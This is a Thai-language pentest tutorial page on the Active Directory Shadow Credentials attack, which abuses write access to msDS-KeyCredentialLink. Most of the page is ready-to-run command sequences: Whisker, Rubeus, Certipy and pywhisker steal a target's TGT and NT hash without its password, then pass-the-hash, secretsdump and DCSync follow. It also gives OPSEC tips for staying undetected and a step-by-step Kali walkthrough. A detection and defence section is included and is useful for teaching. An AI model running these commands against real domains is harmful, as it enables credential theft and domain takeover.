Shadow Credentials
Shadow Credentials คือการเขียน public key ของเราลงใน attribute <code>msDS-KeyCredentialLink</code> ของ user/computer เป้าหมาย เพื่อ authenticate เป็น object นั้นด้วย certificate ผ่าน <strong>PKINIT</strong> (Kerberos public-key preauth) โดย<strong>ไม่ต้องรู้รหัสผ่าน</strong>และไม่ต้อง reset password เงื่อนไขคือมีสิทธิ์เขียน attribute นี้ (GenericWrite / GenericAll / WriteProperty) และโดเมนรองรับ PKINIT (มี DC certificate / ADCS) บทนี้ลงลึกกลไก Key Trust, การ abuse ด้วย Whisker/pyWhisker/Certipy, การทำ UnPAC-the-hash เพื่อดึง NT hash, การตรวจจับและป้องกัน (เนื้อหาเพื่อทดสอบในระบบที่ได้รับอนุญาตเท่านั้น)
1. หลักการ — Key Trust และ msDS-KeyCredentialLink
Windows Hello for Business แนะนำกลไก Key Trust authentication — แทนที่จะพิสูจน์ตัวด้วยรหัสผ่าน object สามารถพิสูจน์ตัวด้วย key pair โดย public key ถูกเก็บใน attribute msDS-KeyCredentialLink ของ object นั้น (เก็บเป็นโครงสร้าง KEYCREDENTIALLINK / raw public key blob) เมื่อ authenticate DC จะ challenge ด้วย public key และผู้ถือ private key เท่านั้นที่ตอบได้ผ่าน PKINIT
ช่องโหว่: ถ้าเรามีสิทธิ์เขียน attribute msDS-KeyCredentialLink ของเป้าหมาย (จาก GenericWrite / GenericAll / WriteProperty ที่ BloodHound มักชี้เป็น edge AddKeyCredentialLink) เราสามารถสร้าง key pair ของเราเอง แล้วเพิ่ม public key เข้าไปในเป้าหมาย จากนั้นใช้ private key คู่กัน authenticate เป็นเป้าหมายผ่าน PKINIT ได้ทันที — ได้ TGT ของเป้าหมาย และด้วยเทคนิค UnPAC-the-hash ยังดึง NT hash ออกมาได้ด้วย ทั้งหมดนี้ไม่แตะรหัสผ่านเดิมของเป้าหมายเลย
AddKeyCredentialLink / GenericWrite บน user หรือ computer2. เงื่อนไขที่ต้องครบ
- เรามีสิทธิ์ GenericWrite / GenericAll / WriteProperty (AddKeyCredentialLink) บน
msDS-KeyCredentialLinkของ target (BloodHound เห็นชัด — มองหา edge AddKeyCredentialLink) - โดเมนรองรับ PKINIT — ต้องมี DC ที่มี certificate สำหรับ Kerberos Authentication / Smartcard Logon (มักมาพร้อม ADCS ที่ออก DC cert)
- Domain Functional Level อย่างน้อย Windows Server 2016 (schema รองรับ Key Trust)
- target เป็น user หรือ computer object ก็ได้ — computer object น่าสนใจเพราะมักนำไปสู่ RBCD / local admin
3. Exploitation — Whisker / pyWhisker / Certipy
มีสองเส้นทางหลัก: บน Windows ใช้ Whisker (C#) ที่ทำงาน in-memory คู่กับ Rubeus, บน Linux ใช้ pywhisker (เพิ่ม key) + PKINITtools/gettgtpkinit.py (ขอ TGT) หรือใช้ Certipy shadow auto ที่ทำครบทุกขั้นให้อัตโนมัติ
# 1. เพิ่ม shadow credential ให้ target (สร้าง key pair + เขียน msDS-KeyCredentialLink)
Whisker.exe add /target:victim$
# Whisker จะ print คำสั่ง Rubeus พร้อม cert (base64) ให้ต่อ เช่น:
# Rubeus.exe asktgt /user:victim$ /certificate:<base64> /password:"<gen-pass>" /domain:domain.local /dc:dc.domain.local /getcredentials /show
# 2. รัน Rubeus เพื่อขอ TGT ด้วย cert + ดึง NT hash (UnPAC-the-hash)
Rubeus.exe asktgt /user:victim$ /certificate:<base64> /password:"<gen-pass>" /domain:domain.local /dc:dc.domain.local /getcredentials /show
# /getcredentials → คืน NTLM hash ของ victim$ ด้วย (U2U/PAC)
# 3. เมื่อจบงาน ลบ key ทิ้ง (ถอนคืน)
Whisker.exe remove /target:victim$ /deviceid:<GUID># certipy ทำ: gen key → เพิ่ม msDS-KeyCredentialLink → PKINIT → UnPAC → คืน NT hash
certipy-ad shadow auto \
-u [email protected] -p 'Password123' \
-account victim -dc-ip 10.10.10.10
# ผลลัพธ์: "Got hash for '[email protected]': aad3b...:<NThash>"
# ใช้ hash ต่อ (pass-the-hash)
# ถ้าเป็น computer object ใช้ชื่อพร้อม $ (บาง build ตัด $ ให้เอง)
certipy-ad shadow auto -u [email protected] -p 'pass' -account 'victim$' -dc-ip 10.10.10.10
# ทางเลือก: แยกขั้น (list / add / remove)
certipy-ad shadow add -u [email protected] -p 'pass' -account victim -dc-ip 10.10.10.10
certipy-ad shadow list -u [email protected] -p 'pass' -account victim -dc-ip 10.10.10.10
certipy-ad shadow remove -u [email protected] -p 'pass' -account victim -dc-ip 10.10.10.10 -device-id <GUID># 1. pywhisker: เพิ่ม key → ได้ไฟล์ .pfx + รหัส pfx
pywhisker.py -d domain.local -u attacker -p 'pass' \
--target victim --action add --filename cert
# 2. ขอ TGT ด้วย cert (PKINIT) → ได้ .ccache + AS-REP key
python3 gettgtpkinit.py -cert-pfx cert.pfx -pfx-pass <pfxpass> \
domain.local/victim victim.ccache
# 3. UnPAC-the-hash: ใช้ AS-REP key ดึง NT hash
export KRB5CCNAME=victim.ccache
python3 getnthash.py -key <as-rep-key> domain.local/victim
# 4. ใช้ TGT / hash ต่อ
secretsdump.py -k -no-pass domain.local/[email protected]
psexec.py -hashes :<NThash> domain.local/victim@target| เครื่องมือ | แพลตฟอร์ม | ทำอะไร |
|---|---|---|
| Whisker | Windows | เพิ่ม/ลบ key + สร้าง Rubeus cmd |
| Rubeus asktgt /getcredentials | Windows | PKINIT + UnPAC-the-hash |
| Certipy shadow auto | Linux | add→PKINIT→UnPAC ครบขั้น |
| pywhisker | Linux | เพิ่ม/ลบ/ดู key (.pfx) |
| gettgtpkinit.py | Linux | ขอ TGT ด้วย cert (PKINIT) |
| getnthash.py | Linux | UnPAC-the-hash → NT hash |
4. Decision Flow
5. การตรวจจับ & OPSEC
| สัญญาณ | ตรวจที่ไหน | หมายเหตุ |
|---|---|---|
| msDS-KeyCredentialLink เปลี่ยน | Event 5136 (Directory Service) | attribute ถูกเพิ่ม key ใหม่ |
| PKINIT authentication ผิดปกติ | Event 4768 (etype cert) | TGT ออกด้วย public-key preauth |
| cert-based logon สำหรับบัญชีที่ไม่เคยใช้ | DC security log | user/computer ที่ไม่ควรใช้ smartcard |
| key จาก device ที่ไม่รู้จัก | msDS-KeyCredentialLink DeviceID | GUID แปลกปลอม |
- OPSEC: ลบ key ทิ้งทันทีหลังใช้ (Whisker remove / certipy shadow remove) — อย่าทิ้ง key ค้างไว้
- OPSEC: ทำกับ target ที่มีเหตุผลจะใช้ cert อยู่แล้วยิ่งเนียน; หลีกเลี่ยง target ที่ไม่เคยใช้ Key Trust
- OPSEC: Shadow Credentials สร้าง Event 5136 เสมอถ้ามี SACL audit บน object — องค์กรที่ audit ละเอียดจับได้
6. Blue Team — การป้องกัน
- Monitor Event 5136 ที่แก้
msDS-KeyCredentialLink— โดยเฉพาะบนบัญชี privileged; alert เมื่อ key ถูกเพิ่มจากบัญชีที่ไม่ใช่ตัวเจ้าของ - Least privilege บน ACL: ตรวจและลดสิทธิ์ GenericWrite/GenericAll/WriteProperty ที่ไม่จำเป็น (ใช้ BloodHound ฝั่ง defense หา over-permission)
- ควบคุม ADCS / PKINIT: ถ้าไม่ได้ใช้ Windows Hello for Business ให้จำกัด/ปิดการออก cert ที่ใช้ smartcard logon โดยไม่จำเป็น
- ป้องกัน Tier 0: วาง object สำคัญ (DA, DC, krbtgt) ไว้ใต้ ACL ที่เข้มงวด ไม่มี write จากบัญชีทั่วไป
- ตรวจ Protected Users: สมาชิก Protected Users ใช้ PKINIT/Key Trust ในบางรูปแบบไม่ได้ — ลด attack surface สำหรับบัญชี privileged
- ตอบสนอง: หากพบ shadow credential — ลบ key ที่ผิดปกติออกจาก msDS-KeyCredentialLink และสอบสวนบัญชีที่มีสิทธิ์เขียน
7. Walkthrough — CTF & real engagement
- 1รัน BloodHound แล้วพบ edge AddKeyCredentialLink จากบัญชีที่เราคุม → computer object DEV01$
- 2ยืนยันว่าโดเมนมี ADCS/PKINIT (มี CA + DC cert) — เช่น certipy find เห็น CA
- 3รัน: certipy-ad shadow auto -u [email protected] -p 'pass' -account 'DEV01$' -dc-ip 10.10.10.10
- 4ได้ NT hash ของ DEV01$ → machine account
- 5ใช้ hash ทำ RBCD หรือ S4U ต่อ (computer account มักนำไปสู่ local admin / lateral)
- 6หรือถ้า target เป็น user privileged: ได้ hash → pass-the-hash → secretsdump → DCSync
- 7จบงาน: certipy-ad shadow remove ... -device-id
เพื่อถอน key
8. ข้อผิดพลาดที่พบบ่อย & แก้ปัญหา
- โดเมนไม่มี PKINIT: อาการคือ PKINIT fail (KDC_ERR_PADATA_TYPE_NOSUPP) — ต้องมี DC cert; ถ้าไม่มีให้ pivot ไป RBCD/targeted kerberoast
- clock skew: Kerberos ไวต่อเวลา — ถ้า time ต่างจาก DC เกิน 5 นาที PKINIT fail; sync เวลา (ntpdate / faketime) ก่อน
- ลืม $ สำหรับ computer: target computer ต้องใช้ชื่อพร้อม $ (victim$); บาง tool ต้องระบุเอง
- Functional level ต่ำ: ต่ำกว่า 2016 schema ไม่มี msDS-KeyCredentialLink — เขียนไม่ได้
- ไม่มีสิทธิ์เขียนจริง: BloodHound แสดง edge แต่ ACL อาจถูก deny เฉพาะ; ยืนยันด้วย add แล้วดู error
- ลืม cleanup: key ที่ค้างใน msDS-KeyCredentialLink = backdoor ถาวร ต้องลบเมื่อจบงาน
9. Quick Reference
- ใช้เมื่อ: มี GenericWrite/GenericAll (AddKeyCredentialLink) บน target + โดเมนมี PKINIT/ADCS
- Linux (ครบขั้น):
certipy-ad shadow auto -account victim$ -u me -p pass -dc-ip DC - Windows:
Whisker.exe add /target:victim$→ Rubeus asktgt /getcredentials - แยกขั้น: pywhisker add → gettgtpkinit.py → getnthash.py (UnPAC-the-hash)
- ผล: ได้ NT hash / TGT ของ target โดยไม่ reset password (เนียน + ถอนได้)
- ถ้าไม่มี PKINIT → ใช้ RBCD หรือ Targeted Kerberoasting แทน (สิทธิ์ write เดียวกัน)
- cleanup: Whisker remove / certipy shadow remove -device-id
- ตรวจจับ: Event 5136 (msDS-KeyCredentialLink), 4768 PKINIT; ป้องกัน: ลด ACL, คุม ADCS
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติ BloodHound ชี้ edge AddKeyCredentialLink/GenericWrite บน user หรือ computer object มีแค่ Kali ทำตามนี้เพื่อได้ hash/TGT ของเป้าหมายโดยไม่ต้อง reset password
- 1ยืนยันเงื่อนไข: มีสิทธิ์ write ตามที่ BloodHound ชี้ + โดเมนมี PKINIT/ADCS (เช็คด้วย
certipy find -u user@domain -p pass -dc-ip <DC_IP> -stdoutดูว่ามี CA ไหม) - 2ถ้ามีครบ รันคำสั่งเดียวจบ:
certipy-ad shadow auto -u [email protected] -p 'pass' -account victim -dc-ip <DC_IP> - 3ดูผลลัพธ์ 'Got hash for [email protected]: ...' — เก็บ NT hash ไว้
- 4ถ้า target เป็น computer object ใส่ $ ต่อท้ายชื่อ:
-account 'victim$' - 5ใช้ hash ที่ได้ pass-the-hash:
evil-winrm -i <target> -u victim -H <NThash> - 6ถ้าเป็น computer account ที่ได้มา ลองต่อไปทำ RBCD เพราะ computer account มักนำไปสู่ local admin
- 7จบงานควรลบ key ทิ้ง:
certipy-ad shadow remove ... -device-id <GUID> - 8ถ้าโดเมนไม่มี PKINIT เลย (ตัน) → ใช้สิทธิ์ write เดิมทำ RBCD หรือ targeted Kerberoast แทน
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| หา ADCS/PKINIT | - | pipx install certipy-ad | - |
| เพิ่ม key + ดึง hash (ครบขั้น) | - | certipy-ad (เดียวกัน) | - |
| pass-the-hash | impacket | gem install evil-winrm | - |
| sync เวลากับ DC | ntpdate | apt install ntpdate | - |
| วิเคราะห์ edge ที่ BloodHound ชี้ | BloodHound | BloodHound CE (docker compose) | bloodhound.readthedocs.io |
| แยกขั้นแบบละเอียด (ถ้า auto ใช้ไม่ได้) | - | pywhisker, PKINITtools (git clone) | - |
หัวข้อที่เชื่อมโยง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้